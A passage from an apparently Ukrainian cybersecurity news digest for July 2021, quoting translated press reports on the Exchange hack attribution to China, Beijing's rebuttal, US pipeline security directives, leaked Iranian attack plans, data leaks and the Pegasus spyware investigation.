«[NCSC] почти уверен, что APT31 связан с китайским государством, и вероятно, что APT31 является группой подрядчиков, работающих непосредственно на Министерство государственной безопасности Китая», - добавило агентство.

«Китайское правительство проигнорировало неоднократные призывы прекратить свою безрассудную кампанию, вместо того, чтобы позволить своим поддерживаемым государством игрокам увеличивать масштабы своих атак и действовать безрассудно, когда их поймают», - прокомментировали британские официальные лица. «Сегодняшние скоординированные действия свидетельствуют о том, что международное сообщество вновь призывает китайское правительство взять на себя ответственность за свои действия и уважать демократические институты, личные данные и коммерческие интересы тех, с кем оно стремится к сотрудничеству».

Правительство также призвало Китай воздержаться от предполагаемых попыток осуществления или поддержки кражи интеллектуальной собственности и коммерческих секретов посредством кибератак.

Обновление 15.33 BST: Великобритания, НАТО, США и ЕС объединились в своей позиции против предполагаемых китайских кибератак.

Вместе с Великобританией Белый дом выступил с совместным заявлением с критикой предполагаемого поведения Китая.

«В некоторых случаях нам известно, что кибероператоры, аффилированные с правительством КНР, проводили операции с программами-вымогателями против частных компаний, которые требовали выкупа в миллионы долларов», - заявляет правительство США. «Нежелание КНР пресекать преступную деятельность контрактных хакеров наносит вред правительствам, предприятиям и операторам критически важной инфраструктуры в виде миллиардов долларов утраченной интеллектуальной собственности, конфиденциальной информации, выкупа и усилий по смягчению последствий»…». ***(Charlie Osborne. UK and White House blame China for Microsoft Exchange Server hack // ZDNet (https://www.zdnet.com/article/uk-white-house-blames-china-for-microsoft-exchange-server-hack/). 19.07.2021).***

***

«Китай сделал то, что от него ожидалось, и отклонил приписывание взлома Exchange, сделанное ранее на этой неделе Организацией Североатлантического договора (НАТО) и рядом стран, включая США, Европейский Союз, Соединенное Королевство, Австралию, Канаду, Новую Зеландия и Япония.

Эта атрибуция стала первым разом, когда НАТО публично приписало нападение Китаю.

Представитель министерства иностранных дел Китая Лицзянь Чжао нанес ответный удар и назвал Соединенные Штаты главной хакерской империей в мире.

«США объединились со своими союзниками, чтобы выдвинуть необоснованные обвинения из воздуха в адрес Китая по вопросу кибербезопасности. Этот акт путает правильное с неправильным, очерняет и подавляет Китай из политических соображений. Китай никогда не примет этого», - сказал он.

«Китай решительно выступает против всех форм кибератак и борется с ними. Он никогда не будет поощрять, поддерживать или мириться с кибератаками. Эта позиция была последовательной и четкой»…

«Нам известно, что кибероператоры, аффилированные с правительством КНР, проводили операции с программами-вымогателями против частных компаний, которые требовали выкупа на миллионы долларов», - заявил Белый дом.

«Нежелание КНР пресекать преступную деятельность контрактных хакеров наносит вред правительствам, предприятиям и операторам критически важной инфраструктуры в виде миллиардов долларов утраченной интеллектуальной собственности, конфиденциальной информации, выкупа и усилий по смягчению последствий».

В то же время Министерство юстиции США (DoJ) обвинило четырех сотрудников Министерства государственной безопасности Китая в проведении атак в рамках «многолетней кампании, нацеленной на иностранные правительства и организации в ключевых секторах, включая морской, авиацию, оборону, образование и здравоохранение. как минимум в десятке стран ", включая обвинение в краже исследований вакцины против вируса Эбола.

В апреле Министерство юстиции сообщило, что ФБР получило разрешение на удаление установленных на скомпрометированных серверах веб-шеллов, связанных с уязвимостями Exchange.

«Многие владельцы зараженных систем успешно удалили веб-оболочки с тысяч компьютеров. Другие, похоже, не смогли этого сделать, и сотни таких веб-оболочек по-прежнему не устранялись», - заявили в департаменте в то время.

«Эта операция удалила оставшиеся веб-оболочки одной ранней хакерской группы, которые могли использоваться для поддержания и расширения постоянного несанкционированного доступа к сетям США».

Тем не менее Китай сделал то, что от него ожидалось, и обвинил в том же своих обвинителей.

«Так называемые технические подробности, опубликованные американской стороной, не являются полной цепочкой доказательств. Фактически, США являются крупнейшим источником кибератак в мире», - сказал Чжао.

«США прослушивают телефонные разговоры не только конкурентов, но и своих союзников. Их европейские союзники преуменьшают попытки США использовать разведывательные службы Дании для слежки за своими лидерами, одновременно поднимая шум по поводу «кибератак Китая» на основании слухов. Этот акт противоречит стратегическим соображениям. на автономию претендовала Европа.

«Я хотел бы подчеркнуть, что горстка стран не представляет международное сообщество, и очернение других не помогает обелить собственные проступки».

Посольство Китая в Канберре выступило с собственным опровержением, обвинив Австралию в «повторении риторики» США, которые они назвали «чемпионом мира» по злонамеренным кибератакам.

«Австралия также имеет плохую репутацию, в том числе отслеживает мобильный телефон президента своей крупнейшей соседней страны, не говоря уже о том, что она выступала в качестве соучастника подслушивающих действий США в рамках альянса Five Eyes», - говорится в сообщении.

«То, что сделало австралийское правительство, чрезвычайно лицемерно, как вор, кричащий «остановите вора».

Ссылаясь на данные Технической группы реагирования на чрезвычайные ситуации Национальной компьютерной сети Китая, Чжао заявил, что 5,31 миллиона компьютеров в Китае управляются с 52 000 командно-управляющих серверов за пределами Поднебесной.

«США и два их союзника по НАТО входят в тройку лидеров по количеству компьютеров, находящихся под их контролем, в Китае», - сказал он». ***(Chris Duckett. China dismisses Exchange attribution and accuses US of whitewashing its***

cyber heists // ZDNet (https://www.zdnet.com/article/china-dismisses-exchange-attribution-and-accuses-us-of-whitewashing-its-cyber-heists/). 21.07.2021).

***

«Как следует из сегодняшнего объявления Белого дома, киберугроза со стороны Китайской Народной Республики (КНР) продолжает развиваться и представляет реальный риск для критически важной инфраструктуры страны, а также для предприятий и организаций любого размера дома и во всем мире. CISA регулярно делится полезной информацией, чтобы помочь профессионалам и руководству в области безопасности управлять рисками и защищать свои системы от ряда угроз.

Сегодня мы вместе с нашими партнерами из Федерального бюро расследований и Агентства национальной безопасности выпустили совместный бюллетень по кибербезопасности, в котором подробно описываются различные кибер-методы, спонсируемые китайским государством, используемые для нацеливания на сети США и союзников. После раскрытия Министерством юстиции обвинительных заключений, связанных с кибератаками Advanced Persistent Threat 40 (APT40), CISA и ФБР опубликовали совместную рекомендацию, в которой подробно описаны их злонамеренные действия и способы смягчения этой угрозы. К обоим этим техническим рекомендациям прилагается последняя версия CISA Insights, которая предоставляет руководителям конкретные действия, которые они должны предпринять при принятии долгосрочных решений по обеспечению кибербезопасности своего бизнеса или организации.

Эти действия включают:

Стимулировать культуру инвестиций и стратегии в области кибербезопасности, включая обеспечение того, чтобы каждый в вашей организации знал, что нужно следовать лучшим практикам, связанным с кибербезопасностью;

Убедитесь, что в вашей организации есть планы реагирования на инциденты и что весь персонал знает, как им следовать; и

Будьте в курсе последних злонамеренных действий в киберпространстве, например, действий, описанных в сегодняшнем совместном информационном бюллетене.

CISA Insights предоставляет ряд ресурсов для всех трех действий. Чтобы помочь вам оставаться в курсе кибер-активности в национальном масштабе, все предупреждения, рекомендации и ресурсы CISA доступны на нашей специальной странице. Сюда входят методы смягчения последствий и информация о том, как сообщить об инциденте.

Говорим ли мы об угрозе со стороны КНР или откуда-то еще, ясно одно - каждый играет свою роль в кибербезопасности. CISA готова предоставить информацию и ресурсы, которые помогут вашей организации не стать следующей жертвой. Я рекомендую вам ознакомиться с совместными рекомендациями по кибербезопасности, последними новостями CISA Insights и регулярно посещать нашу страницу для получения обновлений». ***(Eric Goldstein. SAFEGUARDING CRITICAL INFRASTRUCTURE AGAINST THREATS FROM THE PEOPLE'S REPUBLIC OF CHINA // The Cybersecurity and Infrastructure Security Agency***

(CISA) (https://www.cisa.gov/blog/2021/07/19/safeguarding-critical-infrastructure-against-threats-peoples-republic-china). 19.07.2021).

***

«Россия лидирует в мире по числу кибератак со своей территории. Однако российские власти к этим атакам не имеют отношения. Об этом в ходе слушаний в судебном комитете Сената США заявил заместитель помощника генпрокурора по электронным и компьютерным преступлениям Ричард Даунинг…

«Безусловно, первое место в этом списке занимает Россия. Я не стал бы утверждать, что правительство России стоит за этими атаками, но мы действительно полагаем, что (российские власти) не делают того, что могли бы, для их прекращения», - сказал Даунинг.

На саммите в Женеве президенты России и США Владимир Путин и Джо Байден договорились начать консультации по кибербезопасности. На пресс-конференции после саммита глава РФ отметил, что считает договорённость о таких консультациях чрезвычайно важной». ***(США заявили о непричастности России к кибератакам // SecurityLab.ru (https://www.securitylab.ru/news/522747.php). 27.07.2021).***

***

«Пять секретных документов, в которых предположительно изложены планы кибератак Ирана на инфраструктуру западных стран, в том числе европейских, были обнародованы британским телеканалом Sky News поздно вечером в понедельник, 26 июля.

Сообщения об атаках на инфраструктуру, осуществляемых Ираном и другими странами, появляются в прессе довольно часто, однако это первый случай, когда СМИ удалось заполучить внутренние документы киберподразделения Корпуса стражей исламской революции с изложением планов кибератак.

Согласно документам, одна из кибератак была запланирована на систему балластных вод грузового судна и могла вызвать необратимые повреждения. Еще одна атака была запланирована на автоматические манометры некоторых заправочных станций. В результате такой атаки мог остановиться поток топлива или, в худшем случае, произойти взрыв. На 57 страницах также были представлены планы взлома систем морской связи.

Министр обороны Великобритании Бен Уоллес не отрицал описанные в документах угрозы и признал их серьезными.

По словам одного из источников Sky News, в документах представлены только первые этапы кибератак, поэтому не они не дают полного представления об их масштабах и последствиях.

Источник утечки внутренних документов Корпуса стражей исламской революции неизвестен. Судя по всему, они были опубликованы с целью поставить Иран в неловкое положение перед европейскими странами и потенциально повлиять на их взгляды по ряду вопросов, касающихся Исламской Республики».

(СМИ обнародовали планы кибератак Ирана на инфраструктуру западных стран // SecurityLab.ru (https://www.securitylab.ru/news/522724.php). 27.07.23021).

***

«Британская королева Елизавета II решила усилить сетевую защиту членов своей семьи после докладов спецслужб о том, что в глазах хакеров Виндзоры являются "объектом повышенного внимания"

Казначей королевы Майкл Стивенс считает, что любой взлом аккаунтов королевской семьи может привести к репутационному ущербу, штрафам или судебным искам против членов династии Елизаветы II и членов персонала.

В марте 2021 года королева назначила на пост первого директора по информационной безопасности Эллиота Аткинса, чтобы предотвратить онлайн-атаки. Ведется также работа по повышению уровня знаний персонала королевской семьи о кибербезопасности». ***(Королева Великобритании Елизавета II усилила защиту от хакеров // SecurityLab.ru (https://www.securitylab.ru/news/522395.php). 19.07.2021).***

***

«Электронная почта около десятка членов парламента Польши была взломана, что стало одной из крупнейших кибератак в стране за последние несколько лет.

Новости о взломе появились спустя две недели после того, как члены польского правительства подверглись кибератаке, затронувшей электронную почту более ста действующих и прошлых парламентариев. Инцидент коснулся представителей практически всех оппозиционных фракций парламента, пишет Reuters. Все пострадавшие были уведомлены о случившемся и прошли тренинг по кибербезопасности.

В частности, киберпреступникам предположительно удалось взломать электронную почту главного помощника премьер-министра Михала Дворчика. Этот взлом спровоцировал серию утечек, вызвавших критику со стороны оппозиции в адрес чиновников за использование личной почты для обмена конфиденциальными документами. Имена пострадавших парламентариев не раскрываются.

По данным польской контрразведки, атаки были осуществлены хакерской группировкой UNC1151 в рамках более обширной вредоносной кампании, получившей название Ghostwriter. Кампания продолжается уже несколько месяцев и направлена на политиков в Польше и соседних странах». ***(Хакеры взломали электронную почту десятка членов парламента Польши // SecurityLab.ru (https://www.securitylab.ru/news/521940.php). 05.07.2021).***

***

«Президент Сполучених Штатів Джо Байден попередив, що масштабна кібератака на США може призвести до фактичної «гарячої війни», згадавши в своїй заяві Росію та Китай як загрози національній безпеці США.

«Я вважаю дуже ймовірним, що ми опинимося у війні, якщо опинимося – у справжній гарячій війні із великою державою – внаслідок кіберзламу зі значними наслідками, і ця ймовірність зростає в рази», – сказав Байден у своїй промові перед розвідувальним співтовариством США 27 липня.

Президент США звернув увагу на дедалі більшу кількість кібератак на державні установи та приватну промисловість, які американська влада пов'язує з Росією та Китаєм.

Кібербезпека вийшла на перше місце в порядку денному адміністрації Байдена після низки атак протягом перших шести місяців його перебування на посаді, в тому числі атак із вимогами викупу.

На черговому саміті в Женеві з президентом Росії Володимиром Путіним Байден заявив, що лідери двох країн обговорили питання заборони використання 16 типів критичної інфраструктури для кібератак, в тому числі об'єктів енергетичного та водного секторів.

Байден вступив в офіс, маючи справу з наслідками хакерської атаки SolarWinds, яка торкнулася американських урядових установ та бізнесу – складною атакою, в якій звинувачують російських урядових хакерів.

Ймовірно базовані в Росії злочинні угрупування також пов'язані з гучними атаками заради викупів, спрямованими на нафтопровід Colonial Pipeline, м'ясопереробний гігант JBS та IT-компанію Kaseya, злам якої вплинув на сотні підприємств у всьому світі…». ***(Байден застерігає, що кібератаки можуть призвести до «гарячої війни» // Радіо Свобода (https://www.radiosvoboda.org/a/new-baiden-kiberataky-hariacha-viina/31380784.html). 28.07.2021).***

***

Створення та функціонування кібервійськ

«Министерство обороны Японии планирует увеличить штат сотрудников, занимающихся вопросами кибербезопасности, в том числе за счет найма из частного сектора, чтобы противостоять все более изощренным атакам со стороны Китая, России и других стран.

По состоянию на конец 2020 финансового года в Силах самообороны насчитывалось около 660 человек. Планируется увеличить их до более 1000 человек к 2023 финансовому году.

Кибератаки традиционно связаны с компьютерными вирусами, которые проникают в сети и крадут информацию, но в последние годы хакеры стали более изощренными. Американские и европейские компании в субботу изо всех сил пытались сдержать атаку программы-вымогателя, поразившую американскую компанию информационных технологий Kaseya. Это нападение, в результате которого шведская сеть продуктовых магазинов Coop закрыла все 800 своих магазинов, последовало за аналогичным нападением на оператора трубопровода в США в мае. Также участились нападения в Японии.

Атака на коммуникационную сеть SDF может нарушить или остановить деятельность подразделений, дислоцированных по всей Японии. Секретная информация, относящаяся к национальной обороне, также может попасть в чужие руки. Такие ситуации окажут серьезное влияние на национальную безопасность.

Министерство стремится усилить киберзащиту как в количественном, так и в качественном отношении.

Ожидается, что к концу текущего финансового года, заканчивающегося в марте 2022 года, 660 сотрудников службы кибербезопасности, защищающих общие системы для всей SDF, а также для воздушных, морских и сухопутных войск, будут увеличены до 800 человек.

Подразделение, которое будет контролировать киберзащиту для всей SDF, будет запущено в 2022 году путем консолидации подразделений для каждого филиала в целях повышения эффективности.

Ранее в этом финансовом году в инженерной школе Сухопутных сил самообороны был введен курс по кибербезопасности. Этот курс был разработан для обучения специалистов по кибербезопасности путем обучения основам, таким как языки программирования.

Министерство обороны также будет искать сторонних экспертов для подготовки к все более изощренным атакам. В этом месяце он нанял советника по надзору за кибербезопасностью из Nippon Telegraph and Telephone и еще одного из крупной фирмы по кибербезопасности LAC. Они будут работать в министерстве два-три дня в неделю, оставаясь сотрудниками своих компаний.

В группе NTT работает более 300 000 сотрудников. Защита такой большой организации от кибератак требует, чтобы каждый сотрудник осознавал угрозы, а руководители и менеджеры обладали соответствующими знаниями. SDF, в которой работает более 200 000 человек, рассмотрит возможность создания программы обучения, основанной на ноу-хау NTT в этой области.

В дополнение к текущим программам, по которым сотрудники SDF выезжают для обучения за границу, они узнают, как бороться с кибератаками, от экспертов, обладающих передовыми знаниями и навыками.

Хотя их размер компенсации не разглашается, министерство обороны выделило 20 миллионов иен (180 000 долларов) в бюджет на 2021 финансовый год для найма советников.

Япония также активизирует сотрудничество со своим главным союзником, США. В прошлом месяце морские силы безопасности США провели учения по кибератакам на борту вертолетоносца Izumo с военными США.

«ВМС США впереди нас», - сказал Хироши Ямамура, начальник штаба MSDF. «Мы смогли поделиться тем, как мы делаем что-то и что за этим думаем, и это было важно».

Военные корабли плавают при постоянном подключении к сети, поэтому любые уязвимости в морских коммуникациях увеличивают риск заражения вирусом. Вирус также может проникнуть в систему через флэш-накопитель, используемый при обслуживании судна, например, влияя на навигационную систему корабля.

Киберпотенциал Японии был оценен Международным институтом стратегических исследований британского аналитического центра как «третий уровень», самый низкий по трехбалльной шкале, в отчете, опубликованном в прошлом месяце. В отчете отмечена слабость в сфере национальной безопасности.

Китай и Россия все больше внимания уделяют сочетанию физических атак с воздуха, моря и суши с кибернетическими и электромагнитными импульсными атаками. Сообщается, что в китайских подразделениях по кибератакам работает 30 000 человек. Это повысило актуальность усилий SDF по увеличению численности персонала и укреплению возможностей своих кибер-подразделений и работе с США». ***(JUNNOSUKE KOBARA. Japan to bulk up cybersecurity units for nation's defense // Nikkei Inc (https://asia.nikkei.com/Business/Technology/Japan-to-bulk-up-cybersecurity-units-for-nation-s-defense). 04.07.2021).***

***

«Прем'єр-міністр Польщі Матеуш Моравецький оголосив, що буде створена нова служба, яка буде займатись виключно протидією кіберзагрозам…

«Настав час створити службу, яка відповідатиме на поширення кібератак; буде створений фонд кібербезпеки», - заявив прем'єр-міністр Матеуш Моравецький.

За словами глави польського уряду, комп'ютерне шахрайство, фейкові електронні листи, SMS або крадіжка особистих даних - це явища, про які ми чуємо все частіше.

«Не минає жодного дня, щоб ми не почули про напади, спрямовані з різних куточків світу, на жаль, часто натхненні Росією чи Сходом. Кіберзлочинність - це чума XXI століття, яка загрожує державним установам, громадянам та компаніям», - зазначив Моравецький.

«Буквально десяток днів тому група зв'язаних з Росією хакерів атакувала систему великих компаній. Ми маємо справу з дуже добре організованою міжнародною мережею кіберзлочинних груп», - сказав він.

«Ми хочемо, щоб поліція мала відповідні інструменти, найкращі рішення та компетенцію для боротьби з кіберзлочинністю, щоб ми могли якнайкраще реагувати на ці загрози. Ось чому також буде створений Фонд кібербезпеки» - пояснив прем'єр-міністр.

«Існує гонка озброєнь між поліцією та кіберзлочинцями. Хто швидше знайде нові методи, хто освоїть їх, отримає перевагу», - сказав Матеуш Моравецький.

«Те, що в голові наших IT-спеціалістів, наших фахівців у цій галузі, ми хочемо накопичити в одному місці, щоб найкраще реагувати на ці загрози», - додав він.

У червні віцепрем’єр уряду Польщі Ярослав Качинський заявив, посилаючись на інформацію від контррозвідки та Агентства внутрішньої безпеки, що ціла низка польських міністрів і депутатів зазнали кібератаки.

За даними польських спецслужб, список цілей атаки хакерської групи UNC1151, яку пов’язують з російськими спецслужбами, включав щонайменше 4350 електронних адрес, що належать громадянам Польщі». ***(У Польщі створять***

службу протидії кіберзагрозам // Українська правда (https://www.pravda.com.ua/news/2021/07/28/7301991/). 28.07.2021).

***

Кіберзахист критичної інфраструктури

«Сегодня, в ответ на продолжающуюся угрозу кибербезопасности трубопроводным системам, Управление транспортной безопасности DHS (TSA) объявило о выпуске второй Директивы по безопасности, которая требует от владельцев и операторов критически важных трубопроводов, определенных TSA, по которым транспортируются опасные жидкости и природный газ, выполнять ряд срочно необходимых защит от кибер-вторжений.

«Жизнь и средства к существованию американского народа зависят от нашей коллективной способности защитить критически важную инфраструктуру нашей страны от меняющихся угроз», - сказал министр внутренней безопасности Алехандро Н. Майоркас. «Благодаря этой Директиве о безопасности DHS может лучше гарантировать, что трубопроводный сектор принимает меры, необходимые для защиты своей деятельности от растущих киберугроз, а также лучше защищает нашу национальную и экономическую безопасность. Государственно-частные партнерства имеют решающее значение для безопасности каждого сообщества по всей нашей стране, и DHS будет продолжать тесно сотрудничать с нашими партнерами из частного сектора для поддержки их операций и повышения их устойчивости к кибербезопасности».

Агентство по кибербезопасности и безопасности инфраструктуры (CISA) Департамента консультировало TSA по угрозам кибербезопасности для трубопроводной отрасли, а также по техническим мерам противодействия этим угрозам во время разработки этой второй Директивы по безопасности. Эта Директива по безопасности требует, чтобы владельцы и операторы критически важных конвейеров, назначенных TSA, реализовали конкретные меры по смягчению последствий для защиты от атак программ-вымогателей и других известных угроз информационным технологиям и системам операционных технологий, разработали и внедрили план действий в чрезвычайных обстоятельствах и восстановления кибербезопасности, а также составили архитектуру кибербезопасности. обзор дизайна.

Это вторая Директива по безопасности, которую TSA выпустила для сектора трубопроводов в этом году, основываясь на первоначальной Директиве по безопасности, которую TSA выпустила в мае 2021 года после атаки программ-вымогателей на крупный нефтепровод. Директива по безопасности от мая 2021 года требует, чтобы владельцы и операторы критически важных трубопроводов (1) сообщали в CISA о подтвержденных и потенциальных инцидентах, связанных с кибербезопасностью; (2) назначить координатора по кибербезопасности, доступного 24 часа в сутки, семь дней в неделю; (3) проанализировать текущую практику; и (4) выявить любые пробелы и соответствующие меры по устранению

кибер-рисков и сообщить о результатах в TSA и CISA в течение 30 дней…». ***(DHS Announces New Cybersecurity Requirements for Critical Pipeline Owners and Operators // Department of Homeland Security (https://www.dhs.gov/news/2021/07/20/dhs-announces-new-cybersecurity-requirements-critical-pipeline-owners-and-operators). 20.07.2021).***

***

«Вчера администрация Байдена выпустила Меморандум о национальной безопасности о повышении кибербезопасности для систем управления критически важной инфраструктурой («Меморандум»). Ниже приводится краткое изложение. Однако главный вывод заключается в том, что правительство установит предварительные цели эффективности в области кибербезопасности для определенных отраслей не позднее сентября 2021 года. Хотя мы еще не знаем, какими будут эти «цели эффективности», существует потенциальный риск того, что невыполнение эти цели после их публикации могут быть расценены как халатность или отсутствие разумной безопасности со стороны регулирующего органа. В Меморандуме говорится, что эти цели «должны служить четким руководством для владельцев и операторов в отношении методов и позиций кибербезопасности, которым американский народ может доверять и которых следует ожидать от таких важных услуг». См. Раздел 4 (b) меморандума.

Меморандум адресован как государственным, так и частным организациям и предусматривает «сотрудничество».

В первом предложении Меморандума подчеркивается, что он касается частных лиц: «Защита критически важной инфраструктуры нашей страны является обязанностью правительства на федеральном, государственном, местном, племенном и территориальном уровнях, а также владельцев и операторов этой инфраструктуры». Кроме того, он устанавливает Инициативу по кибербезопасности промышленных систем контроля как «добровольное совместное усилие между

Федеральному правительству и сообществу критически важной инфраструктуры, чтобы значительно улучшить кибербезопасность этих критических систем» См. Раздел 2 меморандума.

Меморандум потенциально имеет очень широкий охват.

В политическом заявлении Меморандума говорится, что он применяется к «важнейшим национальным функциям», определяемым как «функции правительства и частного сектора, настолько жизненно важные для Соединенных Штатов, что их нарушение,

коррупция или дисфункция могут подорвать национальную безопасность, экономическую безопасность, здоровье или безопасность населения или любую их комбинацию». См. Раздел Меморандума 1. Однако другие разделы Меморандума, похоже, сосредоточены на определенных подгруппах частного сектора. Например, раздел 3 меморандума и возможность повышения требований к отчетности, по-видимому, сосредоточены на «критической инфраструктуре системы контроля приоритетов», в то время как раздел 4 меморандума и его обсуждение «базовых целей кибербезопасности» в более общем плане относятся к «критической

инфраструктуре». Еще неизвестно, как будут нарисованы линии, формирующие эти категории, но, очевидно, существует возможность широкого применения.

Меморандум снова намекает на ужесточение требований к отчетности частного сектора.

Как и в майском 2021 г. постановлении о повышении кибербезопасности страны, в Меморандуме предполагается, что будут введены новые требования к отчетности по кибербезопасности. «Федеральное правительство будет работать с промышленностью, чтобы делиться информацией об угрозах для критически важной инфраструктуры системы приоритетного контроля по всей стране». См. Раздел меморандума 3. Однако не приводится никаких подробностей о том, какой обмен информацией об угрозах может потребоваться или как этот процесс может быть сформирован.

Меморандум определяет необходимость достижения базовых целей кибербезопасности.

В нем говорится: «[T] здесь есть потребность в базовых целях кибербезопасности, которые согласованы во всех секторах критической инфраструктуры, а также потребность в мерах безопасности для выбранной критической инфраструктуры, которая зависит от систем управления». См. Раздел меморандума 4. Правительство «должно разработать и опубликовать целевые показатели эффективности кибербезопасности для критической инфраструктуры, чтобы способствовать общему пониманию базовых практик безопасности, которым должны следовать владельцы и операторы критической инфраструктуры для защиты национальной и экономической безопасности, а также здоровья и безопасности населения.» См. Раздел 4 (a) меморандума. Эти «предварительные цели» будут опубликованы к 22 сентября 2021 года, а целевые показатели кибербезопасности критической инфраструктуры для конкретных секторов будут опубликованы к 28 июля 2022 года. См. Раздел 4 (b) меморандума». ***(Jon Knight. Biden Administration To Issue Cybersecurity "Performance Goals" For Critical Infrastructure // Alston & Bird (https://www.alstonprivacy.com/biden-administration-to-issue-cybersecurity-performance-goals-for-critical-infrastructure/). 29.07.2021).***

***

Захист персональних даних

«Saudi Aramco - одна из крупнейших нефтяных компаний в мире - отрицала, что их системы были взломаны хакерами после того, как киберпреступники связались с ZDNet с множеством файлов от компании.

Злоумышленник ZeroX сообщил ZDNet в Telegram, что он украл 1T «конфиденциальных данных» в период с 1993 по 2020 год. Группа заявила, что взломала сеть Saudi Aramco, похитив информацию о нефтеперерабатывающих заводах в Янбу, Джазане, Джидде, Рас-Тануре, Эр-Рияде., и Дахран. Киберпреступники также связались с другими новостными агентствами, такими как Bleeping Computer, которые первыми сообщили о взломе.

Группа предоставила образцы данных, которые включали документы, охватывающие спецификации проекта, электрические и энергетические системы, оборудование на нефтеперерабатывающих заводах, аналитические отчеты, цены за единицу продукции, деловые соглашения, сетевые документы, клиентов компании, счета-фактуры и многое другое.

Группа также заявила, что украла информацию примерно у 14 254 сотрудников, включая имена, фотографии, паспорта, электронные письма, номера телефонов, информацию о семье, идентификационные номера и многое другое. ZeroX поделился данными через «луковую темную веб-ссылку».

Но в заявлении ZDNet Saudi Aramco отрицала факт взлома.

«Aramco недавно стало известно о косвенном разглашении ограниченного объема данных компании, которые принадлежали сторонним подрядчикам», - сказал представитель компании. «Мы подтверждаем, что публикация данных не была вызвана нарушением работы наших систем, не повлияла на нашу деятельность, и компания продолжает поддерживать надежную позицию в области кибербезопасности»…». ***(Jonathan Greig. Saudi Aramco denies breach after hackers hawk stolen files // ZDNet (https://www.zdnet.com/article/saudi-aramco-denies-breach-after-hackers-hawk-stolen-files/). 22.07.2021).***

***

«Как заявил в среду правительственный чиновник, в Интернете просочились идентификаторы входа и пароли покупателей билетов на Олимпийские игры в Токио, что стало последним в серии неудач для оргкомитета.

Та же самая информация о покупателях билетов на Паралимпийские игры и о тех, кто использовал добровольческий портал для летних игр, также просочилась в сеть, сказал чиновник на условиях анонимности, добавив, что организатор начал расследование по этому поводу.

Раскрытие утечки произошло после того, как на этой неделе японский музыкант Кейго Оямада ушел из команды, продюсировавшей пятничную церемонию открытия Олимпийских игр, после того, как признался в издевательствах и жестоком обращении с детьми с ограниченными возможностями в прошлом, в то время как организаторы уже пытались повернуть общественное мнение в свою пользу.

По словам чиновника, масштабы утечки «небольшие», и уже приняты меры для предотвращения дальнейшего распространения подобной информации.

По словам чиновника, имена пользователей и пароли, используемые для входа на веб-сайты волонтеров игр и покупателей билетов, вероятно, были украдены путем несанкционированного доступа к компьютерам или смартфонам, и они были размещены на веб-сайте, который раскрывает личную информацию.

Если используются логин и пароль, можно получить доступ к дополнительным личным данным покупателя или волонтера, включая имя, адрес и зарегистрированный банковский счет». ***(Tokyo Olympic ticket purchaser information leaked online // KYODO NEWS***

(https://english.kyodonews.net/news/2021/07/2ee279d7df2b-urgent-tokyo-olympic-ticket-purchaser-information-leaked-online.html). 21.07.2021).

***

«Согласно новому отчету группы исследователей кибербезопасности из компании по безопасности WizCase, более 1000 ГБ данных и более 1,6 миллиона файлов из десятков муниципалитетов США остались незащищенными.

Оказалось, что все поселки и города связаны одним продуктом: mapsonline.net, который принадлежит компании PeopleGIS из Массачусетса. Компания предоставляет программное обеспечение для управления информацией местным органам власти в Массачусетсе, Нью-Гэмпшире и Коннектикуте.

Ата Хакчил и его команда обнаружили более 80 неправильно настроенных корзин Amazon S3, содержащих данные, относящиеся к этим муниципалитетам. Данные варьировались от жилищных записей, таких как документы и налоговая информация, до бизнес-лицензий и заявлений о приеме на работу на государственные должности.

Из-за конфиденциального характера документов многие формы включали адрес электронной почты, физический адрес, номер телефона, номер водительского удостоверения, информацию о налоге на недвижимость, фотографии лицензий и фотографии собственности.

Исследователи поделились отредактированными фотографиями имеющихся данных.

«Данные об этих муниципалитетах хранились в нескольких неправильно сконфигурированных корзинах Amazon S3, которые использовали те же соглашения об именах, что и MapsOnline. В связи с этим мы полагаем, что эти города используют одно и то же программное обеспечение», - говорится в отчете.

«Наша команда обратилась к компании, и с тех пор ведра были защищены».

Не во всех муниципалитетах была раскрыта одна и та же информация, и в отчете говорится, что типы просочившихся файлов различаются. Исследователи не смогли дать оценку количества людей, пострадавших от воздействия, из-за того, насколько разнообразны были формы.

Компания по безопасности развернула сканер, который обнаружил 114 корзин Amazon, подключенных к PeopleGIS и названных аналогичным образом. Согласно отчету, 28 были настроены правильно, в то время как «86 были доступны без пароля и шифрования».

У исследователей не было веской причины, почему одни ведра были надежно закреплены, а другие нет.

Они предположили, что PeopleGIS просто «создал и передал ведра своим клиентам (всем муниципалитетам), и некоторые из них позаботились о том, чтобы они были правильно настроены».

Другая теория связана с потенциальной ситуацией, когда разные сотрудники PeopleGIS - без четких инструкций - создают и настраивают каждую корзину.

Третья теория заключалась в том, что муниципалитеты сами создавали корзины с основными рекомендациями от PeopleGIS «относительно формата именования, но без каких-либо рекомендаций относительно конфигурации».

Исследователи заявили, что это «объяснит разницу между муниципалитетами, сотрудники которых знали об этом или нет».

«Нарушение может привести к массовому мошенничеству и кражам со стороны граждан этих муниципалитетов. Высокочувствительный характер данных, содержащихся в базе данных местного правительства, от номеров телефонов до бизнес-лицензий и налоговых отчетов, очень уязвим для использования злоумышленниками,» - говорится в сообщении.

«Предполагается, что большая часть этой информации будет доступна только правительству и гражданам, а это означает, что кто-то потенциально может обмануть человека, представившись государственным чиновником».

PeopleGIS не ответил на запросы о комментариях». ***(Jonathan Greig. 1,000 GB of local government data exposed by Massachusetts software company // ZDNet (https://www.zdnet.com/article/1000-gb-of-local-government-data-exposed-by-massachusetts-software-company/). 22.07.2021).***

***

«Согласно расследованию крупной утечки данных, правозащитники, журналисты и юристы по всему миру стали мишенью авторитарных правительств, использовавших хакерское программное обеспечение, продаваемое израильской компанией наблюдения NSO Group.

Расследование Guardian и 16 других медиа-организаций предполагает широко распространенное и продолжающееся злоупотребление хакерским шпионским программным обеспечением NSO Pegasus, которое, по утверждению компании, предназначено только для использования против преступников и террористов.

Pegasus - это вредоносная программа, которая заражает iPhone и устройства Android, позволяя операторам инструмента извлекать сообщения, фотографии и электронные письма, записывать звонки и тайно активировать микрофоны.

Утечка содержит список из более чем 50 000 телефонных номеров, которые, как полагают, с 2016 года были идентифицированы клиентами NSO как номера людей, представляющих интерес.

Парижская некоммерческая медиа-организация Forbidden Stories и Amnesty International изначально имели доступ к просочившемуся списку и совместно с медиа-партнерами в рамках проекта Pegasus, консорциума журналистов.

